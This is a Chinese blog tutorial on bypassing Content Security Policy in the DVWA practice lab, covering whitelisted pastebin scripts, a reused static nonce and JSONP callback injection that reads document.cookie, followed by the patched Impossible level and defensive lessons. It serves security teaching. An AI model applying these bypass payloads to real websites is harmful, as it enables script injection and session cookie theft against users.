Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程

DVWA靶场CSP绕过详解:从原理到实战

阿贵
2天前发布 /正在检测是否收录...
温馨提示:
本文最后更新于2025年09月13日,已超过2天没有更新,若内容或图片失效,请留言反馈。

DVWA靶场CSP绕过详解:从原理到实战

1 CSP安全策略概述

内容安全策略(Content Security Policy,简称CSP)是一种重要的Web安全机制,用于检测和缓解跨站脚本(XSS)和数据注入等攻击。CSP的实质是白名单制度,开发者通过配置告诉浏览器哪些外部资源可以加载和执行,从而减少攻击面。

1.1 CSP的工作原理

CSP通过HTTP响应头或HTML meta标签指定策略规则。当浏览器接收到这些策略后,会只执行或渲染符合策略的资源,违反策略的行为会被阻止并报告。

CSP指令示例:

Content-Security-Policy: script-src 'self' https://trusted.com; object-src 'none'; style-src cdn.example.org third-party.org

这个策略表示:

  • script-src 'self' https://trusted.com:只允许从同源和https://trusted.com加载脚本
  • object-src 'none':禁止加载所有插件(如Flash)
  • style-src cdn.example.org third-party.org:只允许从指定域名加载样式表

1.2 启用CSP的两种方法

  1. 通过HTTP响应头(最常用):

    <?php
    $headerCSP = "Content-Security-Policy: script-src 'self';";
    header($headerCSP);
    ?>
  2. 通过HTML meta标签

    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org;">

2 DVWA环境搭建

DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要:

  1. 从官网下载DVWA安装包
  2. 解压到Web服务器目录(如Apache的htdocs目录)
  3. 配置数据库连接(config/config.inc.php)
  4. 在浏览器中访问DVWA,创建数据库
  5. 登录(默认用户名/密码:admin/password)

DVWA提供了四个安全级别,从完全无防护到近乎完美防护:

  • Low:无任何防护措施
  • Medium:基础防护(如转义特殊字符)
  • High:较强防护(如限制输入类型)
  • Impossible:近乎完美的防护

3 Low级别绕过详解

3.1 漏洞分析

Low级别的CSP策略允许从多个外部域名加载脚本:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";
header($headerCSP);
?>

这些被信任的网站中,pastebin.com是一个可以自由创建和分享文本内容的网站,用户可以上传任意JavaScript代码并获取原始链接。

3.2 绕过步骤

  1. 访问pastebin.com(或其他白名单中的站点)
  2. 创建恶意JavaScript代码

    alert("CSP Bypass - Low Level");

    10.png

  3. 保存并获取原始链接:点击"Create New Paste"然后获取"raw"链接,如:https://pastebin.com/raw/R570EE00
  4. 在DVWA中输入链接:提交后恶意脚本被执行

3.3 安全威胁

攻击者可以将恶意代码存储在受信任的网站上,然后通过钓鱼邮件或社交工程诱导用户访问包含此链接的页面,实现XSS攻击。

4 Medium级别绕过详解

4.1 漏洞分析

Medium级别的CSP策略发生了变化:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
header("X-XSS-Protection: 0"); // 禁用XSS保护
?>

这个策略包含两个关键元素:

  • 'unsafe-inline':允许执行页面内嵌的<script>标签和事件处理程序
  • 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=':仅允许特定的内联脚本块执行

4.2 绕过步骤

直接使用源码中提供的payload即可绕过:

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("CSP Bypass - Medium Level");</script>

4.3 安全威胁

nonce值的不当使用使得攻击者可以轻松绕过保护。nonce值应该是每次请求随机生成的,而不是固定的。固定nonce值相当于给攻击者提供了一把万能钥匙。

5 High级别绕过详解

5.1 漏洞分析

High级别的CSP策略更加严格,只允许同源脚本:

<?php
$headerCSP = "Content-Scurity-Policy: script-src 'self';";
header($headerCSP);
?>

页面通过JSONP(JSON with Padding)技术从外部获取数据:

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

5.2 JSONP漏洞利用

JSONP接口source/jsonp.php存在漏洞,未对callback参数进行过滤:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists("callback", $_GET)) {
    $callback = $_GET['callback'];
} else {
    return "";
}

$outp = array("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>

5.3 绕过步骤

  1. 直接修改callback参数

    http://<DVWA-IP>/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//
  2. 返回的响应变为

    alert(document.cookie);//({"answer":"15"})
  3. 利用XSS漏洞注入恶意请求

    d=document;
    h=d.getElementsByTagName('head').item(0);
    s=d.createElement('script');
    s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//');
    h.appendChild(s);

5.4 安全威胁

JSONP接口的不安全实现允许攻击者执行任意代码,这是一种常见且危险的安全漏洞,特别是在CSP策略较严格的情况下。

6 Impossible级别防护分析

Impossible级别提供了近乎完美的防护:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>

<?php
// 页面代码...
?>

<script src="source/impossible.js"></script>

JSONP接口也被修复,不再使用用户控制的callback参数:

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array("answer" => "15");

echo "solveSum (".json_encode($outp).")";
?>

6.1 防护要点

  1. 严格的CSP策略:只允许同源脚本,不包含任何不安全指令
  2. 避免使用用户可控的callback参数:服务器端固定函数名
  3. 输入验证和输出编码:对所有用户输入进行严格过滤

总结

通过DVWA的CSP绕过实验,我们可以得出以下结论:

  1. CSP是一个强大的安全机制,但配置不当会导致被绕过
  2. 任何可信域的加入都需要谨慎,特别是允许用户内容的外部域
  3. nonce值必须随机且不可预测,固定nonce值几乎等同于没有保护
  4. JSONP接口需要严格过滤,避免成为绕过CSP的入口点
  5. 多层防御是最有效的:CSP应该与其他安全措施(如输入验证、输出编码)结合使用

最重要的是:CSP不是万能的,它只是Web应用安全的一部分。开发者应该采用纵深防御策略,结合多种安全措施,才能构建真正安全的Web应用程序。

免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。
喜欢就支持一下吧
点赞 1 分享 收藏
评论 抢沙发
OωO
取消 登录评论